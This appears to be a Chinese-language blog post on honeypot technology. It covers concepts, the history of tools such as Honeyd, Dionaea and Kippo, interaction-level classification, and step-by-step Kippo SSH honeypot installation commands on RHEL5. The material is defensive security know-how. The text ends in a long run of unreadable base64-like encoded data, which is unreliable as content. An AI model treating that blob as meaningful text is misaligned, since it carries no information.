catalogue

. 蜜罐基本概念
. Kippo: SSH低交互蜜罐安装、使用
. Dionaea: 低交互式蜜罐框架部署
. Thug
. Amun malware honeypots
. Glastopf web honeypot
. Wordpot
. Conpot SCADA/ICS honeypot
. phoneyc
. shockpot
. MHN(Modern Honey Network)
. Database Honeypots
. awesome-honeypots
. Honey Drive
. Dockpot
. 我们该怎么利用蜜罐系统进行入侵分析
. Detecting Honeypots(反检测-蜜罐检测技术)
. DNS Honeypot

1. 蜜罐基本概念

蜜罐技术,通过蜜罐技术可以捕获到黑客的攻击规则,从而为我们提取、建模攻击模式提供数据基础

. 蜜罐好比是情报收集系统。它是故意引诱黑客攻击的目标
. 黑客入侵后,我们可以收集他的攻击轨迹,知道他是如何发动攻击的
. 其中重要的一点机器是虚假的,攻击者需要花费时间攻破。在这段时间内,系统管理员能够锁定攻击者同时保护真正的机器
. 能够学习攻击者针对该服务的攻击技巧和利用代码
. 一些蜜罐能够捕获恶意软件,利用代码等等,能够捕获攻击者的0day,同时可以帮助逆向工程师通过分析捕获的恶意软件来提高自身系统的安全性
. 在内网中部署的蜜罐可以帮助你发现内网中其他机器可能存在的漏洞

The exact definition of a honeypot is contentious, however most definitions are some form of the following

A honeypot is an "an information system resource whose value lies in unauthorized or illicit use of that resources"(from the www.securityfocus.com forum)

A more practical, but more limiting, definition is given by pcmag.com

A server that is configured to detect an intruder by mirroring a real production system(根据真实生产环境镜像出的系统). It appears as an ordinary server doing work, but all the data and transactions are phony. Located either in or outside the firewall, the honeypot is used to learn about an intruder's techniques as well as determine vulnerabilities in the real system

0x1: 数据收集是设置蜜罐的另一项技术挑战

) 蜜罐监控者只要记录下进出系统的每个数据包,就能够对黑客的所作所为一清二楚
) 蜜罐本身上面的日志文件也是很好的数据来源。
) 但同时要注意的是日志文件很容易被攻击者删除(尤其是对于高交互蜜罐),所以通常的办法就是让蜜罐向在同一网络上但防御机制较完善的远程系统日志服务器发送日志备份
) 务必同时监控日志服务器。如果攻击者用新手法闯入了服务器,那么蜜罐无疑会证明其价值

0x2: 蜜罐的优势/劣势

1. 优点

. 蜜罐系统的优点之一就是它们大大减少了所要分析的数据,对于通常的网站或邮件服务器,攻击流量通常会被合法流量所淹没,而蜜罐进出的数据大部分是攻击流量。因而,浏览数据、查明攻击者的实际行为也就容易多了
. Fewer false positives since no legitimate traffic uses honeypot Collect smaller, higher-value, datasets since they only log illegitimate activity
. Work in encrypted environments
. Do not require known attack signatures, unlike IDS

2. 缺点

. Can be used by attacker to attack other systems
. Only monitor interactions made directly with the honeypot - the honeypot cannot detect attacks against other systems
. Can potentially be detected by the attacker

0x3: 蜜罐技术的发展历史

蜜罐工具的发展历史:
. 蜜罐工具DTK:
绑定在系统的未使用端口上,对任何想探测这些端口的攻击源提供欺骗性网络服务 . LaBrea蜜罐软件:
接受网络上所有空闲IP 地址的TCP 连接,并通过TCP 协议中的窗口调节与持久连接等技巧实现一种Tarpit 服务,能够尽可能地拖长无效连接的持续时间,从而减缓网络扫描探测与蠕虫传播的速度
http://support.microsoft.com/kb/842851/zh-cn . Honeyd
著名安全专家Provos开发的一款"虚拟蜜罐框架性开源软件"
) 引入了在网络协议栈层次上模拟各种类型蜜罐系统的方法
) Honeyd 支持在"协议栈指纹特征"上伪装成指定的操作系统版本,对攻击者利用nmap 等工具实施主动指纹识别进行欺骗
) 支持模拟构建虚拟网络拓扑结构,并以插件方式提供对各种应用层网络服务的模拟响应
) 利用Honeyd软件, 安全研究人员可以很容易地按照需求定制出一个包含指定操作系统类型与应用服务的蜜罐系统,用于蠕虫检测与应对、垃圾邮件监测等多种用途
) 由于Honeyd 最早引入了网络协议栈层次上的蜜罐系统模拟机制,以及采用了可集成各种应用层服务蜜罐的灵活框架性结构,使其在蜜罐工具软件发展过程中具有举足轻重的重要地位 . The Honeynet Project Giraffe Chapter 开发的Nepenthes蜜罐软件
) 它继承了Honeyd 的网络协议栈模拟机制与框架性结构, 针对互联网上主动传播恶意代码的监测需求, 实现了可供大规模部署的恶意代码样本采集工具
) 与之前蜜罐系统尝试模拟整个网络服务交互过程不同, Nepenthes 的基本设计原则是只模拟网络服务中存在安全漏洞的部分, 使用"Shellcode 启发式识别"与"仿真执行技术"来发现针
对网络服务安全漏洞的渗透攻击, 从中提取到主动传播恶意代码的下载链接,并进一步捕获样本
) 这种机制使其较其他已有蜜罐工具对自动化传播恶意代码捕获更为高效
目前业内主流的蜜罐项目
The Honeynet Project
http://www.honeynet.org/codeofconduct . Dionaea
Nepenthes已被新一代恶意代码样本捕获蜜罐软件Dionaea所替代
) Dionaea采用内嵌Python 脚本代码实现对漏洞服务的模拟
) 同样采用Libemu来检测Shellcode
) 并支持IPv6 与TLS 协议
) Dionaea蜜罐软件是目前技术最为先进、体系结构最优化的虚拟蜜罐工具 . GHH(Google hack honeypot)
) 针对Web应用攻击威胁研究并开发的Web应用服务蜜罐
) GHH针对搜索存有安全漏洞Web应用程序的Google Hacking技术来诱骗Web应用程序攻击并进行日志记录,可以发现命令注入、Web 垃圾邮件、博客垃圾评论注入、网页篡改、植入僵尸
程序、搭建钓鱼站点等各种攻击事件 . HIHAT(high interaction honeypot analysistoolkit)
) 可将任意的PHP应用程序自动地转换为提供充分交互环境的Web蜜罐工具
) 并通过"透明链接方式"获取恶意Web访问请求, 从而对现有PHP应用程序所面临的威胁进行监测分析 . Kojoney、Kippo蜜罐
) 模拟为SSH网络服务进程, 记录每次SSH口令暴力破解所尝试使用的用户名与口令
) 并在口令猜测成功之后为攻击者提供模拟的shell 执行环境
) 对攻击源IP 地址、使用的SSH 客户端类型、输入的控制命令以及下载的攻击工具文件进行捕获与记录. . 客户端蜜罐工具软件Capture-HPC
) 近年来,由于防火墙、入侵防御系统等网络边界防御机制的广泛应用,针对传统网络服务的渗透攻击变得
越来越难以成功实现,以浏览器与插件为主要目标的客户端渗透攻击逐渐成为互联网上的主流安全威胁
) 而蜜罐技术也随着安全威胁热点的这一变化,演化出客户端蜜罐工具软件.Capture-HPC
) 这是一个高交互式的客户端蜜罐框架,支持在Windows 虚拟机环境中运行IE,Firefox 等浏览器,并通过内核中的系统状态变化监控机制来检测浏览器当前访问的网页中是否包含客户端
渗透攻击代码 . PhoneyC
) 采用"浏览器仿真"与"Javascript动态分析技术"来对抗恶意网页脚本的混淆机制
) 并通过模拟各种已知浏览器与插件安全漏洞来检测出恶意网页中包含的渗透攻击类型
) 通过对Javascript引擎进行opcode指令动态插装,实现了对恶意网页中的heapspray 堆散射攻击的检测能力.

0x4: 蜜罐技术的关键

. 核心机制
核心机制是蜜罐技术达成对攻击方进行诱骗与检测的必须组件
) 欺骗环境构建机制: 构造出对攻击方具有诱骗性的安全资源,吸引攻击方对其进行探测、攻击与利用,这里所谓的"安全资源"可以理解为存在受攻击面的一切资源,包括
1.1) 蜜罐所模拟的操作系统,即系统级漏洞,例如MS06-
1.2) 蜜罐所模拟的系统服务、系统端口,例如RPC、SMP、FTP
1.3) 蜜罐所模拟的应用层服务: CMS系统、VoIP等
) 威胁数据捕获机制: 对诱捕到的安全威胁进行日志记录,尽可能全面地获取各种类型的安全威胁原始数据:
2.1) 网络连接
2.2) 原始数据包
2.3) 系统行为数据
2.4) 恶意代码样本(.exe、shellcode)
) 威胁数据分析机制: 在捕获的安全威胁原始数据的基础上,分析追溯安全威胁的类型与根源,并对安全威胁姿势进行感知 . 辅助机制
对蜜罐技术其他扩展需求的归纳,主要包括:
) 安全风险控制机制
) 配置与管理机制
) 反蜜罐技术对抗机制等
辅助机制的主要目标
) 安全风险控制机制要确保部署蜜罐系统不被攻击方恶意利用去攻击互联网和业务网络,让部署
方规避道德甚至法律风险;
) 配置与管理机制使得部署方可以便捷地对蜜罐系统进行定制与维护;
) 反蜜罐技术对抗机制的目标是提升蜜罐系统的诱骗效果,避免被具有较高技术水平的攻击方利用反蜜罐技术而识别

0x5: 根据交互程度第蜜罐进行分类

. Low-Interaction Honeypot(低交互蜜罐: 虚拟出一个服务)
) 服务端蜜罐: DTK、LaBrea、Honeyd、Nepenthes、Dionaea
) 应用层蜜罐: Glastopf、GlastopNG、SPAMPot、Kojoney、Kippo
) 客户端蜜罐: PhoneyC
. High-Interation Honeypot(高交互蜜罐: 旁路在一个真实的服务之后,进行蜜罐监控)
) 服务端蜜罐: HoneyBow、Argos
) 应用层蜜罐: GHH、HIHAT
) 客户端蜜罐: Capture-HPC HoneyMonkey、SpyProxy
. 粘性蜜罐(Tarpits): 这种类型的蜜罐,使用新的IP来生成新的虚拟机,模拟存在服务的漏洞,来做诱饵。因此攻击者会花费长时间来攻击,就有足够的时间来处理攻击,同时锁定攻击者
. 专门捕获恶意软件的密码: 例如模拟出存在shelllock、jenklin、redis、strut2、udf漏洞的服务,诱使攻击者入侵后种植恶意程序,从而获取样本

Relevant Link:

http://dionaea.carnivore.it/
http://netsec.ccert.edu.cn/zhugejw/2011/09/08/kippo/
http://297020555.blog.51cto.com/1396304/553382/
http://netsec.ccert.edu.cn/zhugejw/files/2011/09/Kippo介绍PPT.pdf
http://netsec.ccert.edu.cn/zhugejw/files/2011/09/Kippo-介绍.pdf
http://www.2cto.com/Article/201403/285377.html
http://blog.csdn.net/sealyao/article/details/6708923
http://security.ctocio.com.cn/securitycomment/414/8185414.shtml
http://netsec.ccert.edu.cn/zhugejw/2011/09/08/kippo/
面向蜜场环境的网络攻击流重定向机制的研究与实现.pdf
Dionaea低交互式蜜罐介绍.pdf
Collapsar.pdf
.通信学报.HoneyBow_一个基于高交互式蜜罐技术的恶意代码自动捕获器.诸葛建伟.pdf
蜜罐技术研究与应用进展.pdf
Kippo介绍PPT.pdf
Kippo-介绍.pdf
Dionaea低交互式蜜罐部署实践.pdf
http://ruo.me/index.php/archives/77
http://www.05112.com/anquan/wzaq/stwx/2014/0312/8400.html
http://www.05112.com/anquan/wlgf/2013/0609/3444.html
http://www.freebuf.com/articles/system/12696.html
http://dionaea.carnivore.it/
https://en.wikipedia.org/wiki/Honeypot_(computing)
https://www.projecthoneypot.org/index.php
http://www.honeynet.org/
http://www.honeyd.org/background.php
http://www.cse.wustl.edu/~jain/cse571-09/ftp/honey.pdf
https://www.honeynet.org/node/1267
http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-honeynet-project/bh-us-03-honeynet.pdf

The Honeynet Project

http://www.honeynet.org/project 

2. Kippo: SSH低交互蜜罐安装、使用

Kippo是采用Python模拟出一个端口监听服务,模仿SSH服务端的样子与潜在的攻击者进行伪交互的一款开源软件
Kippo is a medium interaction SSH honeypot designed to log brute force attacks and, most importantly, the entire shell interaction performed by the attacker

0x1: Features

. Fake filesystem with the ability to add/remove files. A full fake filesystem resembling a Debian 5.0 installation is included
. Possibility of adding fake file contents so the attacker can 'cat' files such as /etc/passwd. Only minimal file contents are included
. Session logs stored in an UML Compatible format for easy replay with original timings
. Just like Kojoney, Kippo saves files downloaded with wget for later inspection
. Trickery; ssh pretends to connect somewhere, exit doesn't really exit, etc

0x2: REH5安装

. rhel5下下载准备环境的的RPM包
python26-2.6-geekymedia1.i386.rpm
python26-2.6-geekymedia1.src.rpm
python26-debuginfo-2.6-geekymedia1.i386.rpm
python26-devel-2.6-geekymedia1.i386.rpm
python26-libs-2.6-geekymedia1.i386.rpm
python26-test-2.6-geekymedia1.i386.rpm
python26-tools-2.6-geekymedia1.i386.rpm
tkinter26-2.6-geekymedia1.i386.rpm
Twisted-10.2..tar.bz2
zope.interface-3.3..tar.gz
pycrypto-2.0..tar.gz
pyasn1-0.0.12a.tar.gz . 安装这些准备环境软件包
) libTix8..so is needed by tkinter26-2.6-geekymedia1.i386
yum install tix tcl tk
) 安装RPM包
rpm -ivh *.rpm
) 安装Twisted
tar -xvf Twisted-10.2..tar.bz2
cd Twisted-10.2.
python26 setup.py build
python26 setup.py install
) 安装zope
tar -xvf zope.interface-3.3..tar.gz
cd zope.interface-3.3.
python26 setup.py build
python26 setup.py install
) 安装pycrypto
tar -xvf pycrypto-2.0..tar.gz
cd pycrypto-2.0.
python26 setup.py build
python26 setup.py install
) 安装pyasn1
unzip pyasn1-0.0.12a.tar.gz
cd pyasn1-0.0.12a
python26 setup.py build
python26 setup.py install . 准备Kippo的日志记录环境
) kippo需要把数据存放到数据库中,所以单独创建一个kippo的库
/etc/init.d/mysqld start
mysql -uroot -p111
create database kippo;
grant all privileges on kippo.* to kippo@'localhost' identified by 'kippo';
flush privileges;
) 生成Kippo需要的数据表
cd /usr/local/src/kippo-0.5/doc/sql/
vim mysql.sql: 在头部加上一句: USE kippo
mysql -ukippo -pkippo < mysql.sql . 安装Kippo,以非root用户运行
) wget http://kippo.googlecode.com/files/kippo-0.5.tar.gz
) tar zxvf kippo-0.5.tar.gz
) cd /usr/local/src/kippo-0.5
) vim kippo.cfg
) useradd kippo
) chown -R kippo.kippo /usr/local/src/kippo-0.5
) su -l kippo
) cd /usr/local/src/kippo-0.5
) ssh-keygen -t rsa
./private.key
:a5:::::ee:ed::1c:9e:c1:b8:9f:: kippouser@node2
) ./start.sh . import MySQLdb, uuid exceptions.ImportError: No module named MySQLdb Failed to load application: No module named MySQLdb
) 下载、安装setuptools
wget http://pypi.python.org/packages/source/s/setuptools/setuptools-0.6c11.tar.gz --no-check-certificate
tar zxvf setuptools-.6c11.tar.gz
cd setuptools-.6c11
python26 setup.py build
python26 setup.py install
) 下载、安装mysql-python
wget https://pypi.python.org/packages/source/M/MySQL-python/MySQL-python-1.2.3.tar.gz --no-check-certificate
tar zxvf MySQL-python-1.2..tar.gz
cd MySQL-python-1.2.
python26 setup.py build
python26 setup.py install 安装完毕
在客户机上进行远程登录
ssh root@192.168.159.128 -p
输入密码123456(刚才在配置文件里配置的) . 通过日志或数据库查看记录
cd /usr/local/src/kippo-0.5
tail - log/kippo.log

程序启动后,SSH蜜罐就启动了,并监听来自外部的连接

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